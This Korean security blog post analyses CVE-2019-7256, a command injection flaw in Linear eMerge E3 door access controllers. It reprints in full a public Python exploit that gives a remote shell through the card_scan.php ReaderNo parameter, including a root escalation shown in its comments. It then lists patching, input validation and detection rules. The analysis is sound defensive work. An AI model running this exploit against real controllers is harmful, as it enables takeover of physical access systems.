1. Linear eMerge E3-Series devices

- 사람이 지정된 시간에 지정된 장소에 출입하기 위해 사용할 수 있는 문을 지정하는 액세스 컨트롤러

-  즉, 조직 차원에서 특정 영역 출입 인원을 지정해 통제할 수 있으며, 따라서 여러 주요 시설에서 흔히 찾을 수 있는 제품

- 내장형 Linux 운영 체제에서 실행되며 내장형 웹 서버를 통해 브라우저에서 시스템을 관리

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- Linear eMerge E3-Series 제품군에서 발생하는 Command Injections 취약점

- 원격에서 제어 시스템을 완전히 장악할 수 있게 되어 CVSS 기준으로 만점인 10점을 받음

영향받는 제품 : Linear eMerge E3-Series 제품군

[사진 2] 쇼단 검색 화면

 

2.1 취약점 분석

- card_scan.php 페이지에서 사용자 입력값에 대한 검증을 수행하지 않아 발생

- GET 메소드를 통해 사용자가 입력한 ReaderNo, CardFormatNo 변수를 그대로 사용하여 exec()로 실행

[사진 3] 취약한 버전의 card_scan.php

- 아래 Exploit 예시에서처럼 서버에서 200 응답이 발생

[사진 4] Exploit 예시

2.2 PoC 분석

- /card_scan.php URL 요청 및 ReaderNo 매개변수 (혹은 CardFormatNo 매개변수)를 통해 공격을 시도함

- 결과를 test.txt(임의 파일명)에 저장 후 결과 출력, 삭제까지 이루어짐

#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# By Gjoko 'LiquidWorm' Krstic
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
  print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
  sys.exit()

ipaddr = sys.argv[1]

print
while True:
  try:
    cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
    execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
    readreq = requests.get('http://'+ipaddr+'/test.txt')
    print readreq.text
    if cmd.strip() == 'exit':
      print "[+] Erasing read stage file and exiting..."
      requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
      print "[+] Done. Ba-bye!\n"
      break
    else: continue
  except Exception:
    break

sys.exit()

 

3. 대응방안

3.1 서버측면

① 최신 패치 적용

- 패치된 버전의 card_scan.php에서는 사용자 입력값이 적절한지 is_numeric()으로 검증

- is_numeric()은 변수의 자료형이 숫자인지 확인하는 php 함수

※ card_scan.php는 카드 정보를 확인하는 기능을 수행하는것으로 판단됨.

[사진 5] 입력값 검증

② 내부망과 분리

- 패치 적용이 어렵거나 불가한 경우 취약한 시스템을 내부망에서 분리

- 공격자에 의한 네트워크 접속한 후 횡적 움직임 방지

 

3.2 네트워크 측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

- 취약한 URL 요청 : /card_scan.php

- 매개변수 사용 여부 : No, ReaderNo, CardFormatNo

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- https://www.boannews.com/media/view.asp?idx=86155 

https://www.exploit-db.com/docs/47646

https://securitynews.sonicwall.com/xmlpost/linear-emerge-e3-access-controller-actively-being-exploited/

- https://packetstormsecurity.com/files/155255/Linear-eMerge-E3-1.00-06-card_scan.php-Command-Injection.html

+ Recent posts